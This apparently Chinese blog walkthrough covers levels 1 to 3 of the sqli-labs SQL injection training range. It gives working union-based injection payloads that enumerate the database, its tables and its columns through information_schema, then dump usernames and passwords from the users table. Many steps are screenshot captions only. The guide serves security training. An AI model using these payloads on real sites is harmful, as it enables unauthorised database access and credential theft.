sqli靶场1,2,3关通关秘籍详解

目录

秘籍:

第一关

第二关

第三关


秘籍:

sql注入的原理是什么:

sql注入是web端的漏洞,攻击者可以在web端写入代码在服务器端执行,从而获取到数据。形成原因是后台服务器接受相关参数的时候没有做好过滤直接放入数据库中查询导致可以执行拼接的sql语句。

通关步骤:1,判断是数字型还是字符型2,判断表的字段个数3,爆出数据库名4.爆出表名5.爆出字段名6.爆出数据

第一关

1.注入类型判断:为字符型。?id=1+1,数字型输出结果会计算1+1的值=2输出id=2的结果,字符型输出结果会将‘1+1‘看作一个字符串,识别第一个字符即1输出id=1的结果

sqli靶场1,2,3关通关秘籍详解_第1张图片

2,判断表的字段个数,使用order by语句

sqli靶场1,2,3关通关秘籍详解_第2张图片

sqli靶场1,2,3关通关秘籍详解_第3张图片

判断显示位使用union select语句,因为有3列,select参数为3个

sqli靶场1,2,3关通关秘籍详解_第4张图片 

3,爆出数据库名,用到database()函数作用为显示出当前数据库名称

?id=222' union select 1,database(),3--+

sqli靶场1,2,3关通关秘籍详解_第5张图片

4.爆出表名,group_concat()函数:显示结果为一行输出,--+为mysql语言的注释,

?id=222' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

sqli靶场1,2,3关通关秘籍详解_第6张图片 

5.爆出字段名

?id=222' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

sqli靶场1,2,3关通关秘籍详解_第7张图片 

6.爆出数据

 ?id=-1' union select 1,2,group_concat(id,username,password) from users--+

sqli靶场1,2,3关通关秘籍详解_第8张图片

第二关

1,判断是数字型还是字符型

sqli靶场1,2,3关通关秘籍详解_第9张图片

sqli靶场1,2,3关通关秘籍详解_第10张图片

2,判断表的字段个数

sqli靶场1,2,3关通关秘籍详解_第11张图片

 sqli靶场1,2,3关通关秘籍详解_第12张图片

3,爆出数据库名

4.爆出表名

?id=222 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

sqli靶场1,2,3关通关秘籍详解_第13张图片

5.爆出字段名

?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'

sqli靶场1,2,3关通关秘籍详解_第14张图片

6.爆出数据

?id=-1 union select 1,2,group_concat(id,username,password) from users--+

sqli靶场1,2,3关通关秘籍详解_第15张图片

第三关

1,判断是数字型还是字符型

sqli靶场1,2,3关通关秘籍详解_第16张图片

 sqli靶场1,2,3关通关秘籍详解_第17张图片

 与第一个相同为字符型,可以自己尝试一下步骤

2,判断表的字段个数

 sqli靶场1,2,3关通关秘籍详解_第18张图片

sqli靶场1,2,3关通关秘籍详解_第19张图片 sqli靶场1,2,3关通关秘籍详解_第20张图片

3,爆出数据库名

sqli靶场1,2,3关通关秘籍详解_第21张图片

4.爆出表名

sqli靶场1,2,3关通关秘籍详解_第22张图片

5.爆出字段名

sqli靶场1,2,3关通关秘籍详解_第23张图片

6.爆出数据

sqli靶场1,2,3关通关秘籍详解_第24张图片

你可能感兴趣的:(数据库,sql,服务器)